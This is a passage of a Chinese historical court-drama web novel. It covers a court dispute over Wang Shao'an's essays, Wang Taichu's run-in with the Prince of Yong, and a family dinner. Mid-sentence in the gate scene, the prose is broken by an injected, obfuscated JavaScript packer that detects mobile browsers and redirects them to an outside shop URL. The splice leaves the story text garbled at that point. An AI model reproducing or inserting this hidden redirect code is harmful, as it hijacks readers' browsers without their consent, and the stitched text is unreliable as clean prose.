“臣听闻王公子前几年已经通过了乡试考取举人，不知是否遇到了什么困难，迟迟未有参加会试，”李广泰似是真把王绍安看成了不可多得的人才，登天子堂，自古以来都是天下读书人的心愿，以王绍安的这篇文章同他在外的名声，除了能想到会试是不是在规则上对他有什么限制，他实在是想不出来其他原因让他停滞于此。 “哦？竟有此事。”刘祀也来了兴趣，探身问道，“王大人，可是遇到了什么困难？” “启禀皇上，犬子自发妻曹氏去世以后一直在明州由其外祖母养育长大，自小祖孙二人亲密无间。乡试以后，臣岳母身子骨每况愈下，多年来都是靠着汤药吊着性命，犬子虽自小顽劣捣蛋，但对他的外祖母确是敬爱有加，这么多年一直伴其左右，所以一直没有离开明州来万安城参加会试。直到今年臣岳母殡天之后，才携幼妹来的万安。”王抃此言也并非全是虚言，王绍安的孝顺也的确为真。 “绍安有如此孝敬之心，正可谓是德才兼备，得子如此，是王学士的福气。”刘祀听闻至此，更觉王绍安是可用之人。 “说起来，臣也有幸拜读过王公子的文章，其中有一篇《议礼之说》颇有见地，前几日礼部司的官员也正巧在讨论此事。臣尚有耳闻，王公子在明州也曾设立学堂，从游之徒，归们甚众，臣斗胆在此向王大人求个恩典，可否让王公子屈驾礼部，为我部官员讲一讲那篇《议礼之说》。”上前说话的是礼部尚书吴钩。 王抃闻言，忽觉不妙，可能朝堂之上他人不知，但是作为父亲，他是详读过那篇《议礼之说》的，那篇文章虽然说的是大户人家嫡子和次子分家产的故事，但是放在这个时候的朝堂之上拿出来说，很难不说吴钩没有别的目的。 言官集团前些时候突然的弹劾，虽说是被太宗留中不发冷处理了，赖长兴登闻鼓前被射杀的案件也迟迟没有进展，但是王抃知道，那些都察院的御史们都没有放弃，所谓开弓没有回头箭，他们只是在等着一个引子，在被太宗忽视了那么多天以后，这个引子也必定会掀起更大的波澜。 王绍安的那篇文章明显是帮着精明能干的次子说话，如果今日这篇文章被拿到这大殿上来议，恐怕有心之人会把这篇《议礼之说》跟雍王留京这件事联系在一起，更甚者可能会把王绍安和自己划归到雍王党羽之列。 王抃盯着吴钩细细揣摩了一番，一起同僚这么多年，他竟然不知道吴钩会是站在刘聿洵那边的人。 “这倒是有意思，我记得前几日议法之时，王爱卿从立法本意出发的观点也是绍安的想法，今日李爱卿又言绍安对治水工程之道颇有见地，现在就连吴爱卿也对其《议礼之说》赞叹有加，真是有意思。”太宗显然不知道那篇《议礼之说》中藏了那么多弯弯绕绕，在王抃开口之前先开了口，“既然如吴爱卿所言，绍安在明州时已开堂立说，何不如将绍安邀请至崇政殿讲席，让其跟你们讲讲，也让朕一起听听。” 崇政殿向来是经筵官为皇帝讲解经史的地方，王抃在还是翰林学士的时候也曾在此为刘祀讲解过经史。王绍安虽是名声在外，但是以他白衣的身份，被邀入崇政殿也是万万不合适的。 “犬子一介白衣，尚未有功名，全凭各位同僚抬爱，万万不可入崇政殿面圣，更何况是在崇政殿妄议他那些浅薄的文章。”王抃见太宗不知其中缘由，松了口气，眼下只要阻止这《议礼之说》的内容浮出水面便可，他拱手面对着刘祀，行礼答道。 “王大人自谦，正所谓天下兴亡，匹夫有责，更何况王公子这般富有才识，又有传道授业解惑经验之人。“吴钩依然不依不饶向王抃作揖，说道。 “承蒙吴大人看得起犬子，犬子读书明理，自应该以报效朝廷为任。”王抃向吴钩还礼之后，再次面向太宗，此时的他已然没有了刚才初闻《议礼之说》的局促，他站在朝堂的角度，卸下了父亲的身份，变成了通政使王抃，他盯着皇位之上的刘祀，继续道：“只是现下，犬子既无功名，也无实绩，自不敢入崇政殿，望皇上切莫为了犬子隳废朝廷久行公共之法。” 和他以往的行事作风一样，王抃又变成了那个刘祀熟悉的王大人，在他看来，眼前的王抃只是从一个自谦的父亲变成了朝廷公共之法的捍卫者，全然不知在他不知道的地方，王抃已经从容地接下了吴钩多少把暗箭。 “自古以来多有明君请教白衣的先例，太祖在时有一年江南干旱，农田产量不足，太祖黄帝也曾邀请过田舍郎入崇政殿为其讲述种地之妙法，更何况王公子如此这般才学之人。”吴钩还是没有放弃，搬出太祖邀请白衣入崇政殿讲种田之法这件事企图让刘祀觉得王绍安入殿讲席也是合理。 王抃向来沉着镇静，但是碰到吴钩这般胡搅蛮缠的人，他也忍不住怒瞪了一眼。如果吴钩一心想要让太宗注意到那篇《议礼之说》，仅是从文章的结论出发，那么最后的受益者便是雍王刘聿洵。他扫了一眼太子身边空荡荡的属于雍王的位子，这倒好，这是只派了急先锋来，主将没来呀。 “儿臣听闻王大人刚才所言，甚是为王公子为其外祖母侍疾所感，由此可见王公子定是一个重孝道守礼节之人。自古以来都有君德成就责经筵之说，崇政殿讲席一直是经筵官的责任，而成为经筵官是天下读书人的梦想。纵然有太祖黄帝让田舍郎入崇政殿的先例，但田舍郎自然是不知这崇政殿对于帝国来说意味着什么，可王公子知道，翰林侍读学士林茂、天章阁侍讲何廷玉、崇政殿说书陈原都是满腹才华之人，他们从童试、乡试、会试一路走来，才能有幸站在崇政殿之上，其中辛苦想必王公子作为读书人也能感同身受。”王抃还想再开口说道之时，太子刘聿恒先开了口，“儿臣有幸在康王府的赏菊宴上见过王公子，有过浅聊，以儿臣愚见，王公子定不会想以白衣之身入崇政殿讲席，对制度不敬，也是对天下读书人之不敬。” 刘聿恒开口说话以后，吴钩便退到了后头，没有再开口说话。 “还是太子思虑周全，是朕有欠考虑。”太宗闻言招呼王抃起身，继续说道，“王爱卿也曾在崇政殿为朕答疑解惑，定也是考虑了读书人的心思。” “老臣也认同太子所言，王大人正蒙圣恩，如若让王公子以白衣之身入崇政殿讲席，即使我们朝堂之人都知道是因为王公子德才兼备，但在外人看来难免不会误会是为凭籍父权，专权而为。”赵普是大庆丞相，他佝偻着背站在最前排，口中像是含了什么东西，口齿不清，“吴尚书身为礼部尚书，对于礼法规矩应该是最为知晓之人，何故今日如此逾矩，考虑不周，摆出田舍郎的例子，险些让皇上背上任人唯亲的罪名呢？” 赵普虽是口齿不清，但话语间轻描淡写的责备确是让人心惊。吴钩闻言当即就跪倒在了太宗的面前，李广泰虽未被指名道姓，但也扑通跪了下来。 “赵相所言甚是，是臣爱才心切，考虑不周全，险些陷皇上和王大人与不义。”吴钩磕头认错，这事可大可小，往好了说可能只是爱才心切稍欠考虑，但往坏了说确也可以是攀附宠臣，祸乱国制。今日虽没有在朝堂之上让大家知道那篇《议礼之法》，但是下了朝以后，这样的动静，恐怕没有人会对那篇《议礼之法》不感兴趣吧，而有这个结果他吴钩的目的也算是达成了，想到这里，他更是像受了惊吓的小丑一般磕起了头，堂堂礼部尚书殿前失仪都要推崇的文章，到底是有何过人之处。 “臣 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吴钩和李广泰早已吓得说不出话，只是跪在原处没有遵照着太宗的旨意站起身来。 文武百官虽也有进言之权，但眼下皇帝和丞相的风波却也没人想要被卷进去，都闭口不言，垂首分立两侧。 “先帝尚在之时，将朝廷托付给赵爱卿也是看重爱卿直言不讳。”刘祀是太祖制度的拥护者，那么多年和赵普打交道，他已然知晓了这位丞相的脾性，当然赵普也知道他的脾性。 “臣不敢。”赵普行礼说道。 眼看着今日早朝的风波就要平息下来了，都察院的言官们却又开始蠢蠢欲动了。 “臣有本请奏。”御史刘庆余向来不是那种言辞躁妄的人，平日里和那些总以风闻之事弹劾百官的言官也大有不同，今日却破天荒地在早朝想要奏本。 刘祀虽有不明却也还是同意了，前几日都察院弹劾刘聿洵的折子被他搁置，为了防止那些御史们在早朝再起事端，那些个签了字署了名的御史都被他挡在了早朝之外，却没想到对方还有这一手，派了个平日里不打眼的刘庆余来打这个头阵。 “臣要请奏雍王殿下……”刘庆余刚提到雍王，刘祀就摆摆手示意他停下。 “雍王何在？”刘祀虽是无奈，但既然平日里最是不像御史的刘庆余都向他讨说法了，他认为自己再避而不谈，恐怕日后他们见缝插针地会没完没了。 “启禀皇上，万安府上报万安城北它山似有贼寇出入打家劫舍，昨日三皇子在兵部报备以后连夜率领亲兵已赴它山剿匪。”兵部尚书郑岐玉上前奏报。 “为何一定要让雍王前去，难道万安城内没有别的将领可以带兵前去剿匪吗？”刘祀有意提高了嗓门问道。 “启禀皇上，自雍王殿下入我兵部以来，一直便是由他剿匪护城的，这么多年来一直如此。”郑岐玉虽是武将出身，但入中枢那么多年，自然知道刘祀此问的深意。虽是诚惶诚恐的样子，但是话语间却都是对刘聿洵的维护之意。 “那郑爱卿觉得这么多年，雍王殿下做得如何呢？”刘祀端正了坐姿，将身体微微向前倾，继续问道，“朕是雍王的父亲，太子是雍王的兄长，说来都不公允，郑爱卿统领兵部，观之细微，今日不妨跟大家说道说道。” “皇弟自北境巡边回来以后，我看沉稳老练了不少，听父皇说前几日呈上来的军报比以前的也大有进步，这些都是郑爱卿的功劳。”刘聿恒原本只是站立在侧，听到刘祀提到自己，便向郑岐玉行礼说道。他知道刘祀已经表达了自己的观点，虽然没有指名道姓，但此时也是他表明观点的时候了。 “太子抬爱了，雍王殿下少年英雄，聪慧善谋，臣能教的东西甚少。”郑岐玉在来兵部之前一直在西境镇守，向来都是英姿飒爽、正气凛然的样子。 “皇弟此次巡边回来特意跟我说起郑尚书对他临行前的嘱托，让他在北境便利不少，说是能呆在郑尚书身侧受教对于他来说很是难得，我这个弟弟向来求知若渴，以后恐怕还要多多烦扰郑尚书了。”刘聿恒继续说道，最后话语中的那句“以后”像是给刘聿洵留京之事画上了句号。 藩王分封留京，威胁最大的无非是他这个太子，今日太子对于雍王留京都未有提出异议，旁人又能说道什么呢？ 王抃静看着朝堂之上发生的一切，他不知道这些弹劾雍王的言官们到底是谁的先头部队，所有人都觉得这会是太子的计谋，毕竟和雍王留京唯一有直接利益关系的就是太子。 但是朝庙之间，是施用阴谋诡计、明暗手段以互相咬噬的战场，越是那个明显的人越可能不是真正的幕后操纵者。他看向正眯着眼睛不发一言的赵普，或许还有人在权势转易之际，正在窥测风向，他们并不在乎雍王是不是留在万安城，他们只是想搅浑朝堂上的水，然后插标自售。 这早朝在经过了一个不小的风波之后，在郑岐玉对刘聿洵的称赞声中结束了，文武百官各自回到了衙门办差。但只有李广泰最是郁郁，他原本只是想在朝上跟太宗分享一下昨晚他读到的王绍安关于治水的文章，为国举荐人才本该是他的责任。哪里能想到后面怎么就有了吴钩什么事情，就有了白衣入崇政殿讲席什么事情，他自然是觉得自己冤枉，提出崇政殿讲席的是太宗，提出田舍郎的是他吴钩，但是陪着下跪磕头挨骂的却是他李广泰。 他现在是满肚子的牢骚没处发，只是好奇那篇《议礼之说》的文章究竟是说了些什么了不起的礼法，值得他吴钩这样上赶着推荐。 10. 第三章 王家绍安（二） 而此时今日早朝上这风暴的中心人物王绍安确是被王太初拉着在东榆林巷的小摊上喝五味肉粥，全然不知早朝差点有两位尚书为了他丢官。 “哥哥可是不喜五味肉粥？”王太初和沉水吹着热气，看着王绍安面前全然没动的肉粥问道。 “大清早的，我不喜食如此油腻之物。”王绍安正襟危坐在矮桌前，倒像是还坐在书桌之前一般，“今日约我出来，定不是只为了来喝粥吧。” “哥哥不知，东榆林巷这个粥摊在万安城内甚是有名，你若不喜欢大清早食荤腥，这里的七宝素粥也是不错。”说罢，王太初便将王绍安面前的肉粥移到自己跟前，然后嘱咐沉水去要了一碗素粥。 “惹祸了？”无事不登三宝殿，平日里在府里定要睡到日上三竿的王太初居然能约着他来食朝食，这样的反常要不是她惹祸了，就是她有事相求，而从以往的经验看，这样大费周章的时候她惹祸的次数比较多。 “我在万安城内吃吃喝喝的能惹什么麻烦，只是想到下月便是盼儿姐姐的生辰了，从小到大，她的生辰都是我们帮着过，今年我们不在她身边，所以想着让哥哥同我一起给盼儿姐姐选个礼物，差遣人送去明州，说不定能在盼儿姐姐生辰之前赶到。”王太初漫不经心地说起，低着头假装喝粥，却偷偷地注意着王绍安的反应。 那日康王府赏菊之后，她一直在家中等着刘聿洵相邀前去认人，却没想等了好几天那边也没有动静。要不是看着近几日王绍安的心情还不错，她都怀疑这三皇子是不是早就找到了那个四和香的主人给处理了，毕竟这样昂贵的香，能拿到的也一定是身边贴身的使女。所以在那条路行不通以后，她只能退而求其次，先来试探一下王绍安对盼儿的感情是不是有变，正好趁着盼儿生辰，寻了个借口。 “不用。”王绍安头也没抬吹着刚端上来热气腾腾的素粥。 “哥哥确定？”王太初见他如此反应压着怒火，继续问道，语气却比刚才坏了几分。 眼前自己家的哥哥在她眼里已然变成了个见异思迁、喜新厌旧的薄情之人。 “今日西市有个书集，听闻在那里可以找到一些绝版的书籍，晚些跟你一起用完朝食我需得去一趟。”王绍安用勺子舀着素粥慢条斯理地喝着，显然是一副谦谦君子的样子，“你也不要再四处闲逛，去和乐楼帮给母亲打打下手，为了你康王府的一句话，可是把母亲折腾坏了。” 王绍安此言一出更是让王太初来了火，她索性将勺子往那肉粥碗里一扔，拉着沉水就走。 “大姑娘，我们安哥儿刚才的话听着可不妙呀，竟然连盼儿姑娘的生辰他都不在意了。”沉水搀扶着生气的王太初，回头看了一眼王绍安并没有跟上来，继续补充道，“也没起身来追我们。” “万安城内的狐媚真是不少，又是会品香，又是能逛书集的，这哪里是我们明州的实在姑娘能比得上的。”王太初越说越来气，更是加紧了脚步，让沉水险些跟不上。 “那姑娘我们可要跟着安哥儿去书集看看。”沉水一直都有疑问，以自家小姐爽直的个性，何不直截了当地问自家公子，那样还来得方便一些。 “这可不行，如果我们跟了过去，被大哥哥发现，那岂不是没有转圜的余地，浪子回头这样的事情，只能是让他自行想明白才行，如果全部摊开了，激起了他的逆反心理，这浪子就回不了头了。”王太初的脚步依然没有停下来，瞧着这个方向也不像是往和乐楼走，倒像是往北城门的方向走去。 “姑娘去哪？老爷今日找了我们在主院用晚膳，可不好再跑远了。”沉水紧跟在后提醒道。 “听说城北的它山有一个寺庙甚是灵验，靠自己不行，我也只能去求神拜佛了。”王太初还是气呼呼的样子，自小没有父母在身边，王绍安对她百依百顺宠爱有加，倒是养成了她不知瞻前顾后说干就干的性格。 “姑娘使不得，言妈妈出门之前就嘱咐我不能让你跑远了，出城更是万万不行。”沉水也顾不得是不是合适，一把拉住了王太初站在路中，“如果小姐想去求佛，何不如改日让桓管事的叫上几个家丁一同前往。” 王太初向来是个急脾气，哪里能够等到改日，哪怕是明日她怕是也等不了，如果可以的话她真想让菩萨佛祖现下就把自家哥哥的脑袋给拍清醒了。好在她初来乍到，没有坐马车轿子，这路上没人认得这是官家的姑娘，否则通政使王大人的家眷在路上拉拉扯扯，这都察院的御史们定是要给王抃安一个教女无方的罪名。 “回避————回避————”沉水和王太初还在拉扯之间，就有马队从北城门的方向呼啸而来，带队的正是王太初的熟人雍王刘聿洵。 昨晚带着亲兵进山剿匪，夜里趁着山匪放松警惕，趁夜偷袭才在黎明时分全歼山匪。熬了一个晚上，又是爬山，又是厮杀的，刘聿洵已是困顿不已，此时他正带着副将李全胜和几个人先从它山下来赶往兵部汇报，冲入城门的时候虽然减了速度，但碰上互相拉扯着没有注意到他们的王太初和沉水，差点没能勒住缰绳撞到她们。 “找死。”李全胜向来是个脾气火爆的，他冲在刘聿洵的前面，在他看来他一路喝喊着回避已是给路人留够了反应的时间。眼下要不是自己反应快勒住了缰绳，这两个现下抱在一起埋着头的姑娘定是要去阎王爷那里报道了。 沉水将王太初挡在身下，见疾驰而来的马并没有撞上自己，这才战战兢兢地抬起头。 马背上的男子是个身着札甲的武人，从气质穿着上来看，像是个身份显赫之人，但显然从他怒目的眼神中看来，他觉得在万安城内骑着马横冲直撞的他没有错，错的是好端端地站在路上的自己和王太初。 “这城门口熙熙攘攘的，阁下如此策马冲撞，难道是要出关打鞑靼吗？这么着急？”沉水知道看人颜色，王太初可不是吃素的，她确认完沉水无恙之后，就立到了马前挡住了李全胜的去路，“万安门前阁下也敢如此横行吗？” 王太初可不怕他，她的父亲是通政使，在万安城内身份也不一般，更何况现在是她占着理呢。 “大胆，城内疾驰自然有要务在身。”李全胜自是第一次遇到敢跟自己叫板的人，从小他跟了刘聿洵，万安城内哪个不是捧着他们，这样的人更是见都没见过，更何况她还是个女子。 他李全胜是个莽夫，可没有什么怜香惜玉的爱好，说着他勒紧马绳，迫使着马步步向前，试图逼迫王太初让步。却不想眼前的女子倒是刚烈的很，她只是闭上了眼睛，脚步却是一步未退。 “王姑娘？”刘聿洵在李全胜之后，不多时就赶了上来。 他看到李全胜扬起的马头，连忙策马上前拉住了缰绳，硬是用了蛮力拉转了马头。 王太初认为自己定是死定了，万安城内的恶霸流氓那么多，碰到个兵流子也不稀奇，竟没想到她还能活着，还能碰到这个言而无信的雍王刘聿洵。 “王姑娘这是要出城？”刘聿洵适才剿匪回来，满身满脸的污血，脸色看着也有些惨白，他像是累极了，不像王太初初见他时那般咄咄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16156326|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼人玩世不恭。 “问雍王殿下安。”她朝着刘聿洵的脸盯了一会，没有先开口责备他的言而无信，而是先问道，“您要不要先过去找太医院瞧瞧。” 看着满脸挂彩的刘聿洵，算是理解了适才马上之人为何如此着急，皇帝的儿子被弄成这样，的确也是件着急的事。 “只是手臂上被剑滑了一刀，其他的污渍都和我无关。”刘聿洵看着王太初盯着自己的脸，理解了她反应的出处，随意地用袖管抹了抹脸，继续说道，“城北今日不太平，姑娘还是不要出城了。” 说完便招呼着李全胜要扬鞭离开。 “雍王稍后。”王太初看着刘聿洵不像是记得自己和他约定的样子，想起刚才王绍安的表现，也顾不得那么多，忙着追了几步叫住他，“前几日同我的约定，雍王可还记得？” 刘聿洵勒住马绳回头回想了一番，才想起王太初所言为何事，近几日的确事务繁多，朝堂之上盯着他的人也多，加之原本觉得四和香本不是他送的，想着王太初或许已经知道了出自何处，就没把这件事放在心上，现下看着眼前王太初略带怒气的神情，看来她是将自己看成不守信诺之人了。 “王姑娘有所不知，邀官家女子入府并非易事，总要有个由头。我的王府里除了侍奉的女使之外并无其他女眷，邀您一个姑娘入府不合适，容我再想个法子。”刘聿洵说的倒也是实话，但在心中盘算了一番也没想到有什么法子。 “雍王殿下记得便是，这事要紧得很，有劳殿下多挂心了。”王太初庄重地行了个礼，表示感谢。 “太初姑娘可有想过，王公子现下在万安城内颇有名望，如果能在万安城内找一个高官贵女喜结连理定是能对其有助力，何苦还要惦记着明州城的姑娘呢？”刘聿洵看惯了王太初不守规矩的样子，知道现下这个客套行礼之人并不是真的她，便想逗她一逗。 “雍王殿下此言差矣，古人有云，贫贱之交不可忘，糟糠之妻不下堂，大哥哥虽是没有下聘但既然认了，便是要负责任的，否则岂不是坏了姑娘家的名声。”王太初不指望这身在皇家的富贵皇子能懂什么死生契阔与子成说，执子之手与子偕老的道理，她知道皇家的男儿向来是无法从一而终的，所以也只是之乎者也说了两句无意义的闲话。 “好好好，姑娘既有如此之心，就在府里等我的消息吧。”刘聿洵瞧着尤在一本正经的王太初，笑着应道。 他原本是想将那四和香的主人如实相告的，他想告诉王太初这不是万安城内儿女情长的故事，这是朝堂上的结党企图，是不可以这样大张旗鼓在街头巷尾叫嚷的秘密。可是他又实在觉得王太初太过有趣，她像是从未被骗过一般，愿意相信所有的人和事，而像她这样毫无心机的人，定是要在万安城内吃亏的。 万安城内是不该有如此清澈之人的，他很好奇未来怎么样的情境会让她知晓，那个在万安城内最简单的道理，无论所遇何人，都切莫交浅言深。他本不想管她，他相信不久便会有人给她上这堂课，但是现下刘聿洵却又不忍，或许是昨夜它山上的杀戮，昨夜的求饶声让他动了恻隐之心。他想起了王太初在康王府维护江音如时坚定的样子，他不想她的这堂课如果由他人来教会太过沉重。 “姑娘莫要出城了，到府里等我消息吧。”刘聿洵言罢，便扬鞭策马而去，李全胜也在意味深长地看了一眼王太初之后跟了上去。 “沉水我们回府吧，我就暂且再信他一次。”王太初瞧着刘聿洵的马队跑远，便对着身边的沉水说道。 11. 第三章 王家绍安（三） 王抃的府里很少会有一起用饭的时候，从王太初入万安城之后，算上刚来的那日，今天也只是第二次。先说王抃，他向来都是一个兢兢业业的勤于职事之人，整日呆在衙门里忙到经常忘了吃饭，更别说组织家里人一起吃个饭了。再者就是江音如，吃饭的时候也正好是和乐楼最忙碌的时候，她自然也是要呆在酒楼里坐镇的。而王绍安向来饮食清淡，和王太初自是吃不到一处去。好在还有王绍文这个弟弟，和自己一样是个对吃食颇有追求之人，常常会到自己这里陪着吃些好吃的。所以像今日这般大家聚在一起用晚膳的时候还真是难得。 “这和乐楼的席面都准备的差不离了，等那几套新定的银器到了，就可以选个日子，向各个府里递帖子了。”江音如自从接下这件事以后，忙前忙后瘦了不少，尽管是操劳，但是整个人倒是更加神采奕奕了，走在万安城内这背也是挺拔了不少。 “瞧你给母亲寻的好差事。”王绍安晚些时辰从书集上回府之后，王太初就一直没给他这个哥哥好脸色，只是没有陪同她逛街，倒好像是犯了什么十恶不赦的大罪似的。 “不打紧不打紧，我欢喜得很。”江音如看着眼前的王太初自是喜欢地紧。她向来是喜欢姑娘的，更何况这个姑娘还如此维护自己，别说是一个席面了，就是让她在和乐楼摆席面摆上一个月她都是愿意的。 这么多年她在那些贵眷们面前做小伏低，生怕自己的营生给王家带来流言蜚语，却从未想到，还有如此一招，坦坦荡荡这一招。 “大哥哥只知说我，我前几日可是跟着母亲一起去采买了席面上用的东西，哪里像大哥哥好几日了也不见人。”王太初见他回来之时满脸笑盈盈的，再做一番联想，就更是气恼。 “母亲如若有事尽管吩咐就是。”王绍安倒也不还嘴，只是对着江音如说道。 “找着太初一起去采买只是瞧她近日总是呆在家中无趣，寻她出去玩闹一番罢了。”江音如更是笑开了花，自古继母继子女多有嫌隙，万安城内好多的笑话都和这个有关，像她这样贴心的子女一下得两的又能有几个，“安哥儿尽管去处理自个儿的事，不要操心。” “你们母亲也是高兴，今次就让她好好折腾一回。”王抃知道从听闻自家儿女要来万安以后，江音如便时常忧心，唉声叹气，怕自己处理不好同这两个孩子的关系，今日看来她是忧心思虑过头了，“但是太初，下次可不能如此出头兴事，这里不比在明州，凡事都要谨慎行事。” “人不犯我，我定不犯人，但是人若犯我，我也定不能做了那缩头乌龟吧。”王太初瘪了瘪嘴表示抗议。 “爹爹同你说一句，你怎就嘀咕上了，如此目无尊长，可是我平日教你的？”虽然王抃是朝廷上的重臣，在朝堂上威风凛凛的，但却对王太初毫无办法，多年未尽养育之恩，自然也不敢有什么要求。王绍安却不同，虽平日里对这个妹妹也是疼爱有加，但是该管教约束之时他也丝毫不会手软。 他可不知这四和香的弯弯绕绕，只是觉得眼前的妹妹入了万安城以后竟是更骄纵了一些，白日里只是没有陪着她逛街，回头她就给了脸色，现在在这饭桌上，竟还顶起了嘴。 “绍安莫怪了，太初说的也并不全是错的。”毕竟此事和自己有关，江音如忙出声劝道，“道理是这个道理，只是这万安城内竟是些不讲道理之人，太初日后小心行事就行，再不济惹了麻烦，找老爷找哥哥都是可以的。” “找我也是可以的。”王绍文自从这大姐姐来了王府以后，欢喜得不得了，这又有好吃的，又有好玩的，哪个孩子不喜欢。看着王绍安对王太初稍有厉色，虽然自己没有勇气去挑战这个动不动就考自己文章的哥哥，但给大姐姐壮壮胆他还是有勇气的。 “算我没有白疼你。”王太初笑着揉了揉王绍文肉嘟嘟的脸，顺手就把自己的那碗肉羹递给了他。 “恐怕今后在外惹了麻烦找你的哥哥还爽利一些。”王抃放下汤羹擦了擦嘴，“今日早朝之时工部尚书李广泰拿了一篇去岁你哥哥写的文章赞不绝口，皇上当即就让内侍念了，听完之后也是赞誉有加。” “哪篇文章？可是那篇《大庆防河录》？”王太初见王抃只是看着自己，没有看王绍安，便顺着话问到。 “没错，你怎知是那篇文章。”王抃觉得奇妙，自己的这个儿子文章无数，王太初怎么就知道是这篇呢？ “爹爹都说了是工部尚书，那自然是跟工部有关，大哥哥的文章都是些之乎者也酸腐的东西，去岁跟工部相关的，也就只有那篇《大庆防河录》了。”王太初不屑地说道，只是猜到了是哪篇文章，何至于如此惊奇。 “什么之乎者也的东西，那些都是圣贤之书，莫要无理。”王绍安这人也是奇怪，对于自己的文章受到殿前赏识全然不在意，在意的竟是自家妹妹对圣贤的不敬。 “太初心细。”王太初倒是让王抃眼前一亮，她在明州之时，也未有听闻她读书断字的事情，都是些闯祸捣蛋的事情，竟不知只是自己一句话，她竟还能猜到是哪篇文章，看来平日里也不是全无学习，“后来礼部尚书吴钩也上书提及了你哥哥的另一篇文章，这你可猜的到是哪篇？” “定是那篇《议礼之说》，前几日康王府的赏菊宴，我听几位大人在旁讨论过，其中有一位有些发胖的大人，大家称呼他吴尚书，我想定就是爹爹口中的那位礼部尚书吴钩了。”王太初不解这有何可考的，果然是生的小子像老子，这些无关紧要的东西，猜猜便知了。 “你哥哥只说你调皮捣蛋，我看你倒是聪慧善观，没错就是那篇文章。”王抃倒是高兴，没想到自己这个女儿除了心思细腻以外，竟然还十分善于观察。 “那爹爹倒是没看错人。”王太初傲娇地向王绍安扬起头，“比那吴尚书有眼光多了。” “哦？此出何言？”王抃看着得到夸赞好似扬眉吐气的王太初问道，“同样是赏识你哥哥的文章，为何吴尚书就成了眼光不行之人，而不说李尚书是那眼光不行之人呢？” “哥哥在写那篇《大庆防河录》之前，曾出游一年去黄河沿岸许多州府走访调查过，不说是否真的能作为治水良策，但许多观点却是真同现有之策不同的。可那篇议礼的文章，确是保守得很，都是些他家之言，那篇文章我看也只是哥哥随手摘录，想做个记号罢了，却没想到吴尚书倒还读出了新意，岂不是眼光不成？”王太初倒是实诚，但也确实是不给尚书大人面子。 “哦？那依你所看，吴尚书是何目的呢？”王抃放下筷子，吩咐在旁伺候的女使递上茶水。 “有何目的？自然是吴尚书读书少，不知哥哥的那篇议礼之文是集百家所言的誊抄之物罢了。”王太初觉得无趣，好好的晚膳却弄得跟个考试似的，猜文章，猜原因，现在还要猜目的。 “那绍安认为呢？”王抃见王太初微有愠色，便转身对着身边的王绍安问道。 “可是文章中那段关于嫡子次子何人继承家业的议论，有可被人利用之处？”王绍安自入万安之后大大小小的席面他也参与了不少，自然对现下庙堂之上最受关注的‘两王在京’的情况有所耳闻，他当然也知道言官集体弹劾刘聿洵之事，而他也知道他的文章确实有可被有心之人利用之处。 无心之人如王太初那般甚至都不觉得那篇集百家之言的文章有何可取之处，但有心之人即使是只有一个段落，一句话，哪怕是一个字，只要逮住机会，也能曲解其意，为其所用。 “绍安聪慧，都察院弹劾雍王留京的折子虽然被皇上留中未发，但今日早朝时又有御史再提此事，可见其背后的势力还在蠢蠢欲动，近日在外如有何席面，切记谨言慎行。”王抃对王绍安自小宽心，但万安城内阴谋和阳谋层出不穷，绍安初来乍到再提醒一句也不算唠叨。 “绍安谨记父亲教诲，在外一定多方注意。” “这朝堂上腥风血雨，稍有差池便会万劫不复，安儿还未有考取功名，自当置身事外，若他日真的决定好了入仕，再做打算不迟。”王抃自是知道自家儿子的脾性，耀武扬威，卖弄学问都不是他的作风，最后又嘱咐了一句，点到为止也就没打算再说下去。 “这朝堂之事，我们是全无兴趣，好不容易跟爹爹一起吃顿团圆饭，净说些和我们无关的无趣之事，母亲他们两个可是讨人厌。”王太初拉住身侧江音如的手臂，表示着不满。 “天下事理应事事关心，蝶振翼而致千里之变，布衣之怀，亦系黎元之忧。” “哼，我可不似哥哥同爹爹这般顾念四海生民，我只想当被你们照顾的黎民，做这盛世下的蠹虫。” 王太初见王绍安侃侃而谈，一副君子模样，再想到那四和香就更是来了气。 “大姐姐做蠹虫，那我也要做蠹虫。” 王绍文跟在王太初身边良久，察觉今日这个大姐姐浑身甚是不爽利，虽不知原因却也知道跟自家的大哥哥有关，怕这一来二去的对话没个完，就学着王太初嚷着要当这‘蠹虫’。 这一招果然奏效，一句话就让全家笑得前扑后仰。 “小小年纪，就想不学好当蠹虫，你可知蠹虫是什么？”王太初笑着用双手捂住绍文的耳朵，使劲摇着头，像是要把当蠹虫的想法从他的脑袋里摇出来。 “你看看，你看 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雍王府内，刘聿洵将给王府送拜帖之人打发走以后，静静地坐在书案前，对着案上的棋局，好一会都没有说话。 今日早朝发生之事，在自己去兵部汇报之时，他就听郑岐玉一五一十说了个全乎，午后李全胜就给自己找来了那篇《议礼之说》，在朝堂上混迹多年，他一眼便看出了其中的门道。 “礼部吴尚书是何意？”李全胜看着刘聿洵毫无表情的脸，揣摸不得其中之意，怯怯发问。 “不知？可以是投诚，也可以不是。”刘聿洵见李全胜说话谨慎，便知自己此刻定是表情糟糕，便强挤出一丝笑来，“从文章来看，似是投诚。但是现在整个朝廷都知道都察院都揪着我留京的事情不放，此刻搬出这样一篇文章却不像是聪明人的做法。” “那殿下准备怎么做？需要我派人调查吗？” “投诚也罢，陷害也可，像吴钩这般摸准气候，闻风起舞，押宝下注的政治赌徒，投诚也不可多信，陷害也掀不起波澜。”刘聿洵犹自对着棋局发呆，“赖长兴的案件查得怎么样了？” “臣查得赖长兴性格古怪在都察院向来独来独往，没有听说跟太子有来往，朝堂上也没有听说有要好的同僚。”李全胜说完，看了一眼仍旧抱着手臂坐在案前的刘聿洵，好一会才继续说道，“赖长兴的案子衙门也没有新的进展前些日子，反反复复找了其身边的家人问了几遍，近日也没了响动。” “可都藏得够深的。”刘聿洵捻起一枚黑子，像是想好了下一步将黑子置于何处，刚要落子，念头一转又犯了犹豫，捏着棋子悬在半空，好一会轻笑一声还是收回来将它重新放回匣子中。 